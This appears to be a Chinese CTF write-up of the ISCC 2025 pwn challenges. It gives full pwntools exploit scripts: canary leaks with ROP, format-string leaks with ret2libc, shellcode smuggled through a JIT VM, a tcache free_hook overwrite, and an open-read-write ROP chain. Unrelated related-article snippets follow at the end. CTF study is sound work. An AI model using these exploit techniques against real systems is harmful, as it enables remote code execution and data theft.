当前位置: 首页 > news >正文

2025 ISCC 练武赛Pwn-wp(含附件)

前言

去年个人赛报名了忘记打了(笑), 所以这应该算是我第一次参加ISCC, 体验也是非常非常非常非常的cha(第四声)!!!
主办方也是非常幽默,pwn和web都是公用容器,那web最后都被当成玩具玩坏了
下面是这次练武题的pwn所有附件

通过网盘分享的文件:2025ISCC练武赛Pwn全部附件.rar
链接: https://pan.baidu.com/s/1aDBEOZ4XESb6yfCrCI5Wgg?pwd=xidp 提取码: xidp

解出

genius

![[Pasted image 20250514173408.png]]

先后输入 nothanks 最终进入 function3函数 中,这里存在两个溢出,一个是 read溢出,一个是 gets溢出
![[Pasted image 20250514174130.png]]

我们注意到read溢出下面有一个pritnf输出,所以我们可以通过read来覆盖掉canary结尾的\x00使得canary被pritnf输出,然后再利用gets溢出打ROP,注意程序已经为我们提供了 backdoor
![[Pasted image 20250514174710.png]]

完整exp如下:

from xidp import *#---------------------初始化----------------------------
arch = 64
elf_os = 'linux'challenge = "./pwn"
libc_path = ''
ip = '101.200.155.151:12000'# 1-远程 其他-本地
link = 1
io, elf, libc = loadfile(challenge, libc_path, ip, arch, elf_os, link)
debug(0)            # 其他-debug   1-info
# context.terminal = ['tmux', 'splitw', '-h']
#---------------------初始化-----------------------------#---------------------debug------------------------------
# 自定义cmd
cmd = """set follow-fork-mode parent\n"""
# 断点
bps = []
#---------------------debug-------------------------------
# pwndbg(1, bps, cmd)back_door = 0x004011A6
ret = 0x000000000040101a#: ret;
io.sendline("no")
io.sendline("thanks")
payload = cyclic(0x18)
io.sendline(payload)
io.recvuntil(b'faaa')canary = u64(io.recv(8))-0xa
leak("canary")payload = b'a'*0x18 + p64(canary) + p64(0) + p64(ret) + p64(back_door)io.sendline(payload)
ia()

![[Pasted image 20250514173841.png]]

Fufu

![[Pasted image 20250514173532.png]]

选择1,利用整数溢出绕过检查,获得 格式化字符串read溢出,利用 格式化字符串 获得 程序基地址libc地址canary的值,然后正常打ROP即可
![[Pasted image 20250515081636.png]]

完整exp如下:

from xidp import *
#---------------------初始化----------------------------
arch = 64
elf_os = 'linux'challenge = "./pwn"
libc_path = '/lib/x86_64-linux-gnu/libc.so.6'
ip = '101.200.155.151:12600'# 1-远程 其他-本地
link = 1
io, elf, libc = loadfile(challenge, libc_path, ip, arch, elf_os, link)debug(0)            # 其他-debug   1-info
# context.terminal = ['tmux', 'splitw', '-h']
#---------------------初始化-----------------------------#---------------------debug------------------------------
# 自定义cmd
cmd = """set follow-fork-mode parent\n"""
# 断点
bps = [0x01237]
#---------------------debug-------------------------------sdla(b"Furina: Your choice? >> ", b"1")
sdla(b"Furina: Time is limited! >> ", str(429496730))
rcu("Furina: Present your evidence! >> ")# puts_addr_offset = 11
# canary_offset = 17
# main_addr_offset = 25
payload = b"%11$p_%17$p_%25$p"
sdl(payload)rcu("0x")
puts_addr = int(io.recv(12), 16) - 346
rcu("0x")
canary = int(io.recv(16), 16)
rcu("0x")
main_addr = int(io.recv(12), 16)
leak("puts_addr")
leak("canary")
leak("main_addr")
elf_base = main_addr - 0x1338
leak("elf_base")# libc_base = puts_addr - libc.symbols["puts"]
# system = libc_base + libc.symbols["system"]
# binsh = libc_base + next(libc.search(b"/bin/sh"))
libc = LibcSearcher("puts", puts_addr)
libc_base = puts_addr - libc.dump("puts")
system = libc_base + libc.dump("system")
binsh = libc_base + libc.dump("str_bin_sh")pop_rdi_ret = elf_base + 0x000000000000132f#: pop rdi; ret;
ret = elf_base + 0x000000000000101a#: ret;payload = p64(canary) * 11
payload += p64(pop_rdi_ret)
payload += p64(binsh)
payload += p64(ret)
payload += p64(system)sdla(b"hcy want to eat chicken! >> ", payload)# pwndbg(1, bps, cmd)ia()

![[Pasted image 20250515082217.png]]

mutsumi

![[Pasted image 20250514173548.png]]

整个程序主要分为三个流程,在main函数中按照固定格式不断读取数据,在mutsumi_jit函数中堆读取的数据进行分析,最后run_vm函数会跳转到0x114000(存放解析后指令的地址执行程序)

固定的格式有三种:

xxxx,ido
to
<人名>
xxxx,ido
<数字>
saki,ido
stop
// 这里必须是saki才可以stop

第一种在漏洞利用中没有用到
第二种就是按照这个格式输入数字,最后这个数字会被存在堆中,在程序停止接收输入后进入到mutsumi_jit函数函数后会被解析为对应的jmp指令
第三种就是告诉程序停止接收输入,注意第三种开头必须是saki否则程序会强制退出,具体如下
![[Pasted image 20250515204908.png]]

题目的漏洞点在 main -> mutsumi_jit -> imm2asm 这个函数中
![[Pasted image 20250515205822.png]]

简单来说这个程序就是 imm2asm(number, &len)
如果 number > 255 那么就返回 jmp number
如果 number < 255 那么就返回 jmp rip+number

那么我们的利用方法是这样的
我们先输入一个 1 那么得到 jmp rip+1
然后输入我们想要的指令的字节码(必须是4字节,不为四字节用\x90补齐) 得到 jmp xxxxx(我们的指令)
由于rip是指向下一条指令的地址,那么rip+1就是下一条指令去掉第一个开头的指令,也就是去掉了jmp的指令,那么就变成了我们输入的指令
我们可以使用gdb调试pwndbg的x/50i 指令来验证

将程序运行此处,查看执行的汇编代码
![[Pasted image 20250515193307.png]]

查看我们输入的内容
![[Pasted image 20250515193257.png]]

从这里我们就可以看到 我们0x114003的下面本该是从0x114005开始执行,但是却跳到了0x114006
如何就导致这个指令从jmp xxxx变成了xor al,0x3b;
由此我们可以实现我们的ret2syscall

完整exp如下:

from xidp import *
#---------------------初始化----------------------------
arch = 64
elf_os = 'linux'challenge = "./pwn"
libc_path = ''
ip = '101.200.155.151:12800'# 1-远程 其他-本地
link = 1
io, elf, libc = loadfile(challenge, libc_path, ip, arch, elf_os, link)debug(0)            # 其他-debug   1-info
# context.terminal = ['tmux', 'splitw', '-h']
#---------------------初始化-----------------------------
#---------------------debug------------------------------
# 自定义cmd
cmd = """set follow-fork-mode parent\n"""
# 断点
# bps = [0x1697, 0x016E3, 0x018EA]
bps = [0x0156B]
#---------------------debug-------------------------------def send_cmd(payload):io.sendline(b'xidp,ido')io.sendline(payload)def bytes_to_int_encoder(bytes):return str(struct.unpack('<I', bytes)[0])# 0x68732f6e69622f = hs/nib/
code_fragments = [b"\x34\x3b\x90\x90",# xor al,0x3b; nop; nopb"\x48\x31\xf6\x90",# xor rsi,rsi; nop;b"\x48\x31\xd2\x90",# xor rdi,rdi; nop;b"\x66\xbb\x73\x68",#mov bx,0x6873b"\x48\xc1\xe3\x10",#shl rbx,0x10b"\x66\xbb\x6e\x2f",#mov bx,0x2f6eb"\x48\xc1\xe3\x10",#shl rbx,0x10b"\x66\xbb\x62\x69",#mov bx,0x6962b"\x48\xc1\xe3\x08",#shl rbx,0x8 注意这里是shl 0x8 不是shl 0x10 所以下面需要重复一个\x62b"\x66\xbb\x2f\x62",#mov bx,0x622fb"\x53\x90\x90\x90",#push rbxb"\x89\xe7\x90\x90",#mov edi,espb"\x0f\x05\x90\x90",#syscall
]for code_segment in code_fragments:send_cmd(payload = b"1")send_cmd(payload = bytes_to_int_encoder(code_segment))  # 输入payload# pwndbg(1, bps, cmd)# 结束输入开始运行
io.sendline(b'saki,stop')ia()

![[Pasted image 20250515122345.png]]

program

![[Pasted image 20250514173602.png]]

一个基础入门的堆题,所使用的版本为 Ubuntu GLIBC 2.31-0ubuntu9.17
![[Pasted image 20250514175157.png]]

程序同时存在 UAF堆溢出 两个漏洞,但是由于libc版本不高,我做的时候发现了UAF就直接开始打了,只用了UAF就做出来了,没用用到堆溢出

大致思路就是攻击 tcachebin 使用了 house of botcake 的攻击手法,修改 tcachebinnext指针free_hook ,修改 free_hooksystem_addr 然后找一个 chunk 写入 /bin/sh 字符串,然后 free 这个 chunk

完整exp如下:

from xidp import *#---------------------初始化----------------------------
arch = 64
elf_os = 'linux'challenge = "./pwn"
libc_path = '/home/xidp/tools/glibc-all-in-one/libs/2.31-0ubuntu9.17_amd64/libc-2.31.so'
ip = '101.200.155.151:12300'# 1-远程 其他-本地
link = 1
io, elf, libc = loadfile(challenge, libc_path, ip, arch, elf_os, link)debug(0)            # 其他-debug   1-info
# context.terminal = ['tmux', 'splitw', '-h']
#---------------------初始化-----------------------------#---------------------debug------------------------------
# 自定义cmd
cmd = """set follow-fork-mode parent\nx/30gx 0x4040C0\n"""
# 断点
bps = []
#---------------------debug-------------------------------
menu = "choice:\n"  
def add(idx, size):  sdla(menu, str(1))  sdla("index:\n", str(idx))  sdla("size:\n", str(size))  def free(idx):  sdla(menu, str(2))  sdla("index:\n", str(idx))  def edit(idx, lenth, content):  sdla(menu, str(3))  sdla("index:\n", str(idx))  sdla("length:\n", str(lenth))  sda("content:\n", content)  def show(idx):  sdla(menu, str(4))  sdla("index:\n", str(idx))for i in range(0, 9):add(i, 0x100)add(9, 0x20) # 防止合并for i in range(0, 9):free(i)add(10, 0x30)
show(10)
libc_base = u64(io.recv(6).ljust(8, b'\x00')) - 0x1ECDF0
leak("libc_base", libc_base)
free_hook = libc_base + libc.symbols['__free_hook']
malloc_hook = libc_base + libc.symbols['__malloc_hook']
binsh = libc_base + next(libc.search(b'/bin/sh\x00'))
system = libc_base + libc.symbols['system']
leak("free_hook", free_hook)
leak("malloc_hook", malloc_hook)
leak("binsh", binsh)
leak("system", system)add(11, 0x100)
free(8)
add(12, 0x1d0) # 可以控制到chunk9的next指针
payload = p64(0)*(2*12)
payload += p64(0x110) + p64(0x110)
payload += p64(free_hook)
edit(12, 0x100, payload)
edit(2, 0x100, b"/bin/sh\x00") # 把binsh字符串写入到chunk2中
add(13, 0x100)
add(14, 0x100)
edit(14, 0x100, p64(system)) # chunk14的fd指向systemfree(2)
# pwndbg(1, bps, cmd)ia()

远程有点怪,我明明打的shell,但是远程直接就输出flag给我了
![[Pasted image 20250514175704.png]]

Dilemma

![[Pasted image 20250517113813.png]]

程序开启了沙箱保护
![[Pasted image 20250517114116.png]]

func_1函数中先 格式化字符串read溢出,但read溢出量不够我们打ORW
![[Pasted image 20250517114148.png]]

func_0函数中 先 read溢出格式化字符串 , 这里格式化字符串不好利用,但是read溢出量足够大
![[Pasted image 20250517114411.png]]

所以我的思路是先利用 func_1中的格式化字符串漏洞泄露canary和栈地址,并且利用其中的read溢出转移到func_0中
随后利用func_0中的read溢出构造puts泄露libc地址,然后再次返回func_0,构造ROP,打ORW

这里有人就要问了,诶,为什么第一次格式化字符串不直接泄露libc地址呢,而是需要在第二次中利用puts来泄露libc地址呢
理由很简单啊,下面是我本地调用call printf的时候栈内存的情况,我做的时候头都晕了,下面哪个可以用来泄露libc地址我一时间都想不起来,(那个__libc_start_call_main+128不行吗?也许是可以的,但是我不喜欢),头一热我感觉构造个puts也不麻烦,然后我就这样做了,现在想起来我构造了那么一大段真是勤劳的小蜜蜂
![[Pasted image 20250517114905.png]]

然后利用puts泄露了read地址,puts地址,printf地址,然后放到网站里面查找得到远程libc为libc6_2.35-0ubuntu3.8_amd64.so
网址: libc-database
![[libc_search.jpg]]

应该还有更方便的方法直接泄露libc_base,然后打ORW的那种,但是我已经不想去研究了

完整exp如下:

from xidp import *
#---------------------初始化----------------------------
arch = 64
elf_os = 'linux'challenge = "./pwn"
# libc_path = '/lib/x86_64-linux-gnu/libc.so.6'
libc_path = './libc6_2.35-0ubuntu3.8_amd64.so'
ip = '101.200.155.151:12500'# 1-远程 其他-本地
link = 1
io, elf, libc = loadfile(challenge, libc_path, ip, arch, elf_os, link)
debug(0)            # 其他-debug   1-info
# context.terminal = ['tmux', 'splitw', '-h']
#---------------------初始化-----------------------------#---------------------debug------------------------------
# 自定义cmd
cmd = """set follow-fork-mode parent\n"""
# 断点
bps = [0x040129B]
#---------------------debug-------------------------------
func1_addr = 0x0401235
func2_addr = 0x04011A3
pop_rdi_ret = 0x000000000040119a#: pop rdi; ret;
leave_ret = 0x0000000000401233#: leave; ret;
ret = 0x000000000040101a#: ret;
bss_addr = 0x0404080 + 0x300
puts_got = elf.got["puts"] # 0x7fc6afd5ae50
printf_got = elf.got["printf"] # 0x7fd87dcab6f0
read_got = elf.got["read"] # 0x7f0d77c007d0
puts_got = elf.got["puts"]
puts_got = elf.got["puts"]
puts_plt = elf.plt["puts"]sdla("where are you go?\n", str(1))  # canary_offset = 15
# stack_addr = 9
# 0x7fffffffdf10 stack_addrpwndbg(0, bps, cmd)payload = "%15$p_%9$p"
sdla("Enter you password:\n", payload)
rcu("0x")
canary = int(io.recv(16), 16)
leak("canary")
rcu("0x")
stack_addr = int(io.recv(12), 16)
leak("stack_addr")
flag_addr = stack_addr - 32
leak("flag_addr")
payload = cyclic(40)
payload += p64(canary)
payload += p64(0)
payload += p64(ret) # 这里还需要栈对齐,因为下面func2里面有printf需要栈对齐,否则会卡住
payload += p64(func2_addr)
sdla("I will check your password:\n", payload)payload = cyclic(40)
payload += p64(canary)
payload += p64(0)
payload += p64(pop_rdi_ret)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(func2_addr)
sdla("We have a lot to talk about\n", payload)rcu("To find life in the face of death")
rc(41)
puts_addr = uu64()
leak("puts_addr")libc_base = puts_addr - libc.symbols["puts"]
open_addr = libc_base + libc.symbols["open"]
read_addr = libc_base + libc.symbols["read"]
write_addr = libc_base + libc.symbols["write"]# libc6_2.35-0ubuntu3.8_amd64.sopop_rsi_ret = libc_base + 0x0000000000141d5e#: pop rsi; ret;
pop_rdx_r_ret = libc_base + 0x000000000011f2e7#: pop rdx; pop r12; ret;leak("libc_base")
leak("open_addr")
leak("read_addr")
leak("write_addr")payload = b"flag.txt" # 这里远程的flag叫做flag.txt卡了我半天,ISCC你赢了
payload = payload.ljust(40, b'\x00')
payload += p64(canary)
payload += p64(0)
payload += p64(pop_rdi_ret)
payload += p64(flag_addr)
payload += p64(pop_rsi_ret)
payload += p64(0)
payload += p64(open_addr)payload += p64(pop_rdi_ret)
payload += p64(3)
payload += p64(pop_rsi_ret)
payload += p64(bss_addr)
payload += p64(pop_rdx_r_ret)
payload += p64(0xff)
payload += p64(0)
payload += p64(read_addr)payload += p64(pop_rdi_ret)
payload += p64(1)
payload += p64(pop_rsi_ret)
payload += p64(bss_addr)
payload += p64(write_addr)put(len(payload))sdla("We have a lot to talk about\n", payload)ia()

![[Pasted image 20250517113751.png]]

未解出

easybee

![[Pasted image 20250517135738.png]]

真是不会了内核,我的泪,最后咋900来解?水平还是太差了,还要继续努力,求个会内核的师傅带带。

相关文章:

2025 ISCC 练武赛Pwn-wp(含附件)

前言 去年个人赛报名了忘记打了(笑), 所以这应该算是我第一次参加ISCC, 体验也是非常非常非常非常的cha(第四声)!!! 主办方也是非常幽默&#xff0c;pwn和web都是公用容器&#xff0c;那web最后都被当成玩具玩坏了 下面是这次练武题的pwn所有附件 通过网盘分享的文件&#xf…...

LeetCode Hot100刷题——除自身以外数组的乘积

238. 除自身以外数组的乘积 给你一个整数数组 nums&#xff0c;返回 数组 answer &#xff0c;其中 answer[i] 等于 nums 中除 nums[i] 之外其余各元素的乘积 。 题目数据 保证 数组 nums之中任意元素的全部前缀元素和后缀的乘积都在 32 位 整数范围内。 请 不要使用除法&a…...

IDEA - Windows IDEA 代码块展开与折叠(基础折叠操作、高级折叠操作)

一、基础折叠操作 折叠当前代码块&#xff1a;Ctrl - # 操作方式按下 【Ctrl】 键&#xff0c;再按下 【-】 键展开当前代码块&#xff1a;Ctrl # 操作方式按下 【Ctrl】 键&#xff0c;再按下 【】 键折叠所有代码块&#xff1a;Ctrl Shift - # 操作方式按下 【Ctrl】…...

javaSE.Map

Map存储映射关系。键值对。key-value 左边值映射着右边的值&#xff0c;左边相当于钥匙&#xff0c;开到右边的门获取得到信息。 get&#x1f447;put 是否存在该key&#x1f447;containsKey() map.values&#x1f447; entrySet&#x1f447; entrySet()获取map中所有的键…...

Python Requests库完全指南:从入门到精通

引言 在Python的生态系统中&#xff0c;requests库以其简洁优雅的API设计和强大的功能&#xff0c;成为HTTP请求处理领域的标杆工具。无论是数据爬虫开发、API接口调用&#xff0c;还是自动化测试场景&#xff0c;requests都能将复杂的网络交互简化为几行可读性极高的代码。相…...

1.QPushBotton 以及 对象树

目录 1. 创建第一个Qt程序 1.1 初始化设置 ​&#x1f350; 选择存储位置 &#x1f34a; Kit &#x1f34b; 类信息 &#x1f34c; 项目管理 1.2 代码 &#x1f349; main.cpp &#x1f347;widget.h &#x1f353; widget.cpp 1.3 .pro文件 &#x1f348; 常见模块…...

GO语言语法---For循环、break、continue

文章目录 1. 基本for循环&#xff08;类似其他语言的while&#xff09;2. 经典for循环&#xff08;初始化;条件;后续操作&#xff09;3. 无限循环4. 使用break和continue5 . 带标签的循环&#xff08;可用于break/continue指定循环&#xff09;1、break带标签2、continue带标签…...

网络编程-select(二)

一、I/O多路复用 1、为什么要多路复用 之前开启多线程能实时接收数据&#xff0c;并且也不是一次性连接服务。但毕竟是一请求一连接&#xff0c;每有一个客户端向服务端发起请求&#xff0c;就会创建一个线程&#xff0c;当请求达到上千上万&#xff0c;就会创建上千上万的线…...

2025年PMP 学习十九 第12章 项目采购管理

2025年PMP 学习十九 第12章 项目采购管理 序号过程过程组1规划采购管理规划2实施采购执行3控制采购监控4合同管理- 文章目录 2025年PMP 学习十九 第12章 项目采购管理12 项目采购管理建立战略合作伙伴关系的意义&#xff1a;细化采购步骤 12.1 规划采购管理1. **定义与作用**2…...

10.11 LangGraph多角色Agent开发实战:生产级AI系统架构与性能优化全解析

LangGraph 项目:High-level API for Multi-actor Agents 关键词:LangGraph 多角色 Agent, 状态管理, 持久化机制, 工作流编排, 生产级 AI 系统 1. LangGraph 设计哲学与架构演进 LangGraph 是 LangChain 生态中首个面向 多角色协作 Agent 的高阶 API 框架,其核心设计思想可…...

计算机网络概要

⽹络相关基础知识 协议 两设备之间使⽤光电信号传输信息数据 要想传递不同信息 那么⼆者ᳵ就需要约定好的数据格式 层 封装 继承 多态是计算机的性质 它们⽀持了软硬件分层的实现 同层协议可以ᳵ接通信 同层协议ᳵ不直接通信 是各⾃调⽤下层提供的结构能⼒完成通信 分层…...

Visual Studio已更新为17.14+集成deepseek实现高效编程

01 Visual Studio 2022 v17.14。 此更新侧重于全面提供出色的开发人员体验&#xff0c;侧重于稳定性和安全性以及 AI 改进。 02 GPT-4o代码完成模式 我们非常高兴地宣布&#xff0c;新的 GPT-4o Copilot 代码完成模型现已在 Visual Studio 17.14 中为 GitHub Copilot 用户…...

axios的基本使用

1. Axios概述 Axios 是一个基于 Promise 的 HTTP 客户端库&#xff0c;专为浏览器和 Node.js 设计&#xff0c;用来发送AJAX请求。可以通过npm install -g axios安装axios库。Axios有以下特征&#xff1a; 跨平台兼容性&#xff1a;同一套代码可运行于浏览器和 Node.js。在浏…...

【第三十六周】LoRA 微调方法

LoRA 摘要Abstract文章信息引言方法LoRA的原理LoRA在Transformer中的应用补充其他细节 实验与分析LoRA的使用论文实验结果分析 总结 摘要 本篇博客介绍了LoRA&#xff08;Low-Rank Adaptation&#xff09;&#xff0c;这是一种面向大规模预训练语言模型的参数高效微调方法&…...

fcQCA模糊集定性比较分析法-学习笔记

模糊集定性比较分析&#xff08;fsQCA&#xff0c;Fuzzy-set Qualitative Comparative Analysis&#xff09; 是一种结合了定性和定量元素的研究方法&#xff0c;用于分析中小样本数据中的复杂因果关系。 1. 理解基础概念 QCA的核心思想&#xff1a; 基于集合论和布尔代数&a…...

基于WebRTC的实时语音对话系统:从语音识别到AI回复

基于WebRTC的实时语音对话系统&#xff1a;从语音识别到AI回复 在当今数字化时代&#xff0c;实时语音交互已成为人机界面的重要组成部分。本文将深入探讨一个基于WebRTC技术的实时语音对话系统&#xff0c;该系统集成了语音识别(ASR)、大语言模型(LLM)和语音合成(TTS)技术&am…...

Text2SQL:自助式数据报表开发---0517

Text2SQL技术 早期阶段&#xff1a;依赖于人工编写的规则模板来匹配自然语言和SQL语句之间的对应关系 机器学习阶段&#xff1a;采用序列到序列模型等机器学习方法来学习自然语言与SQL之间的关系 LLM阶段&#xff1a;借助LLM强大的语言理解和代码生成能力&#xff0c;利用提示…...

关于 Web 漏洞原理与利用:1. SQL 注入(SQLi)

一、原理&#xff1a; 拼接 SQL 语句导致注入 SQL 注入的根本原因是&#xff1a;开发者将用户的输入和 SQL 语句直接拼接在一起&#xff0c;没有任何过滤或校验&#xff0c;最终被数据库“当作语句”执行了。 这就像是我们给数据库写了一封信&#xff0c;结果攻击者在我们的…...

【NLP 75、如何通过API调用智谱大模型】

事事忘记&#xff0c;事事等待&#xff0c;事事自愈 —— 25.5.18 一、调用智谱大模型 zhipuai.model_api.invoke()&#xff1a;调用智谱 AI 的大模型&#xff08;如 ChatGLM&#xff09;进行文本生成或推理&#xff0c;支持同步请求。 参数列表 参数名类型是否必需默认值说…...

【RabbitMQ】 RabbitMQ高级特性(二)

文章目录 一、重试机制1.1、重试配置1.2、配置交换机&队列1.3、发送消息1.4、消费消息1.5、运行程序1.6、 手动确认 二、TTL2.1、设置消息的TTL2.2、设置队列的TTL2.3、两者区别 三 、死信队列6.1 死信的概念3.2 代码示例3.2.1、声明队列和交换机3.2.2、正常队列绑定死信交…...

EMQX开源版安装指南:Linux/Windows全攻略

EMQX开源版安装教程-linux/windows 因最近自己需要使用MQTT&#xff0c;需要搭建一个MQTT服务器&#xff0c;所以想到了很久以前用到的EMQX。但是当时的EMQX使用的是开源版的&#xff0c;在官网可以直接下载。而现在再次打开官网时发现怎么也找不大开源版本了&#xff0c;所以…...

MySQL 数据库备份与还原

作者&#xff1a;IvanCodes 日期&#xff1a;2025年5月18日 专栏&#xff1a;MySQL教程 思维导图 备份 (Backup) 与 冗余 (Redundancy) 的核心区别: &#x1f3af; 备份是指创建数据的副本并将其存储在不同位置或介质&#xff0c;主要目的是在发生数据丢失、损坏或逻辑错误时进…...

【数据结构】2-3-4 单链表的建立

数据结构知识点合集 尾插法建立单链表 建立链表时总是将新节点插入到链表的尾部&#xff0c;将新插入的节点作为链表的尾节点 /*尾插法建立链表L*/ LinkList List_TailInsert(LinkList &L) { int x; /*建立头节点*/ L (LNode *)malloc(sizeof(LNode)); /*…...

JVM如何处理多线程内存抢占问题

目录 1、堆内存结构 2、运行时数据 3、内存分配机制 3.1、堆内存结构 3.2、内存分配方式 1、指针碰撞 2、空闲列表 4、jvm内存抢占方案 4.1、TLAB 4.2、CAS 4.3、锁优化 4.4、逃逸分析与栈上分配 5、问题 5.1、内存分配竞争导致性能下降 5.2、伪共享&#xff08…...

猫番阅读APP:丰富资源,优质体验,满足你的阅读需求

猫番阅读APP是一款专为书籍爱好者设计的移动阅读应用&#xff0c;致力于提供丰富的阅读体验和多样化的书籍资源。它不仅涵盖了小说、非虚构、杂志等多个领域的电子书&#xff0c;还提供了个性化推荐、书架管理、离线下载等功能&#xff0c;满足不同读者的阅读需求。无论是通勤路…...

Redis 学习笔记 4:优惠券秒杀

Redis 学习笔记 4&#xff1a;优惠券秒杀 本文基于前文的黑马点评项目进行学习。 Redis 生成全局唯一ID 整个全局唯一 ID 的结构如下&#xff1a; 这里的时间戳是当前时间基于某一个基准时间&#xff08;项目开始前的某个时间点&#xff09;的时间戳。序列号是依赖 Redis 生…...

C++学习:六个月从基础到就业——C++17:if/switch初始化语句

C学习&#xff1a;六个月从基础到就业——C17&#xff1a;if/switch初始化语句 本文是我C学习之旅系列的第四十六篇技术文章&#xff0c;也是第三阶段"现代C特性"的第八篇&#xff0c;主要介绍C17引入的if和switch语句的初始化表达式特性。查看完整系列目录了解更多内…...

C++跨平台开发经验与解决方案

在当今软件开发领域&#xff0c;跨平台开发已成为一个重要的需求。C作为一种强大的系统级编程语言&#xff0c;在跨平台开发中扮演着重要角色。本文将分享在实际项目中的跨平台开发经验和解决方案。 1. 构建系统选择 CMake的优势 跨平台兼容性好 支持多种编译器和IDE 强大…...

RabbitMQ 工作模式(上)

前言 在 RabbitMQ 中&#xff0c;一共有七种工作模式&#xff0c;我们也可以打开官网了解&#xff1a; 本章我们先介绍前三种工作模式 &#xff08;Simple&#xff09;简单模式 P&#xff1a;producer 生产者&#xff0c;负责发送消息 C&#xff1a;consumer 消费者&#x…...

为什么需要加密机服务?

前言 大家好&#xff0c;我是老马。 以前我自己在写工具的时候&#xff0c;都是直接自己实现就完事了。 但是在大公司&#xff0c;或者说随着合规监管的要求&#xff0c;自己随手写的加解密之类的&#xff0c;严格说是不合规的。 作为一家技术性公司&#xff0c;特别是金融…...

【Linux】利用多路转接epoll机制、ET模式,基于Reactor设计模式实现

&#x1f4da; 博主的专栏 &#x1f427; Linux | &#x1f5a5;️ C | &#x1f4ca; 数据结构 | &#x1f4a1;C 算法 | &#x1f152; C 语言 | &#x1f310; 计算机网络 上篇文章&#xff1a;多路转接epoll&#xff0c;实现echoserver 至此&#xff0c;Linux与…...

c/c++的findcontours崩溃解决方案

解决 Windows 平台 OpenCV findContours 崩溃&#xff1a;一种更稳定的方法 许多在 Windows 平台上使用 OpenCV 的开发者可能会在使用 findContours 函数时&#xff0c;遇到令人头疼的程序崩溃问题。尽管网络上流传着多种解决方案&#xff0c;但它们并非总能根治此问题。 当时…...

机器学习 Day18 Support Vector Machine ——最优美的机器学习算法

1.问题导入&#xff1a; 2.SVM定义和一些最优化理论 2.1SVM中的定义 2.1.1 定义 SVM 定义&#xff1a;SVM&#xff08;Support Vector Machine&#xff0c;支持向量机&#xff09;核心是寻找超平面将样本分成两类且间隔最大 。它功能多样&#xff0c;可用于线性或非线性分类…...

npm与pnpm--为什么推荐pnpm

包管理器中 npm是最经典的&#xff0c;但大家都任意忽略一个更优质的管理器&#xff1a;pnpm 1. 核心区别 特性npmpnpm依赖存储方式扁平化结构&#xff08;可能重复依赖&#xff09;硬链接 符号链接&#xff08;共享依赖&#xff0c;节省空间&#xff09;安装速度较慢&#…...

ollama调用千问2.5-vl视频图片UI界面小程序分享

1、问题描述&#xff1a; ollama调用千问2.5-vl视频图片内容&#xff0c;通常用命令行工具不方便&#xff0c;于是做了一个python UI界面与大家分享。需要提前安装ollama&#xff0c;并下载千问qwen2.5vl:7b 模型&#xff0c;在ollama官网即可下载。 &#xff08;8G-6G 显卡可…...

济南国网数字化培训班学习笔记-第三组-1-电力通信传输网认知

电力通信传输网认知 电力通信基本情况 传输介质 传输介质类型&#xff08;导引与非导引&#xff09; 导引传输介质&#xff0c;如电缆、光纤&#xff1b; 非导引传输介质&#xff0c;如无线电波&#xff1b; 传输介质的选择影响信号传输质量 信号传输模式&#xff08;单工…...

Kubernetes控制平面组件:Kubelet详解(六):pod sandbox(pause)容器

云原生学习路线导航页&#xff08;持续更新中&#xff09; kubernetes学习系列快捷链接 Kubernetes架构原则和对象设计&#xff08;一&#xff09;Kubernetes架构原则和对象设计&#xff08;二&#xff09;Kubernetes架构原则和对象设计&#xff08;三&#xff09;Kubernetes控…...

51单片机,两路倒计时,LCD1602 ,Proteus仿真

初始上电 默认2路都是0分钟的倒计时 8个按键 4个一组 一组控制一路倒计时 4个 按键:加 减 开始或者暂停 复位到0分钟相当于停止 针对第一路倒计时 4个 按键2:加 减 开始或者暂停 复位到0分钟相当于停止 针对第2路倒计时 哪一路到了0后蜂鸣器响 对应LED点亮 main.c 文件实现了…...

MySQL之储存引擎和视图

一、储存引擎 基本介绍&#xff1a; 1、MySQL的表类型由储存引擎(Storage Engines)决定&#xff0c;主要包括MyISAM、innoDB、Memory等。 2、MySQL数据表主要支持六种类型&#xff0c;分别是&#xff1a;CSV、Memory、ARCHIVE、MRG_MYISAN、MYISAM、InnoBDB。 3、这六种又分…...

写spark程序数据计算( 数据库的计算,求和,汇总之类的)连接mysql数据库,写入计算结果

1. 添加依赖 在项目的 pom.xml&#xff08;Maven&#xff09;中添加以下依赖&#xff1a; xml <!-- Spark SQL --> <dependency> <groupId>org.apache.spark</groupId> <artifactId>spark-sql_2.12</artifactId> <version>3.3.0…...

一:操作系统之系统调用

系统调用&#xff1a;用户程序与操作系统交互的桥梁 在计算机的世界里&#xff0c;应用程序是我们日常接触最多的部分&#xff0c;比如浏览器、文本编辑器、游戏等等。然而&#xff0c;这些应用程序并不能直接控制硬件资源&#xff0c;比如读写硬盘、创建新进程、发送网络数据…...

【ROS2】 核心概念6——通信接口语法(Interfaces)

古月21讲/2.6_通信接口 官方文档&#xff1a;Interfaces — ROS 2 Documentation: Humble documentation 官方接口代码实战&#xff1a;https://docs.ros.org/en/humble/Tutorials/Beginner-Client-Libraries/Single-Package-Define-And-Use-Interface.html ROS 2使用简化的描…...

SmartETL函数式组件的设计与应用

SmartETL框架主要采用了面向对象的设计思想&#xff0c;将ETL过程中的处理逻辑抽象为Loader和Processor&#xff08;对应loader模块和iterator模块&#xff09;&#xff0c;所有流程组件需要继承或实现DataProvider&#xff08;iter方法&#xff09;或JsonIterator&#xff08;…...

Spring Security与SaToken的对比与优缺点分析

Spring Security与SaToken对比分析 一、框架定位 Spring Security 企业级安全解决方案&#xff0c;深度集成Spring生态提供完整的安全控制链&#xff08;认证、授权、会话管理、攻击防护&#xff09;适合中大型分布式系统 SaToken 轻量级权限认证框架&#xff0c;专注Token会…...

|从零开始的Pyside2界面编程| 环境搭建以及第一个ui界面

&#x1f411; |从零开始的Pyside2界面编程| 环境搭建以及第一个ui界面&#x1f411; 文章目录 &#x1f411; |从零开始的Pyside2界面编程| 环境搭建以及第一个ui界面&#x1f411;♈前言♈♈Pyside2环境搭建♈♈做个简单的UI界面♈♒代码实现♒♒QTdesigner设计UI界面♒ ♒总…...

【爬虫】DrissionPage-7

官方文档&#xff1a; https://www.drissionpage.cn/browser_control/get_page_info/ 1. 页面信息 &#x1f4cc; html 描述&#xff1a;返回当前页面的 HTML 文本。注意&#xff1a;不包含 <iframe> 元素的内容。返回类型&#xff1a;str 示例&#xff1a; html_co…...

系统架构设计(十二):统一过程模型(RUP)

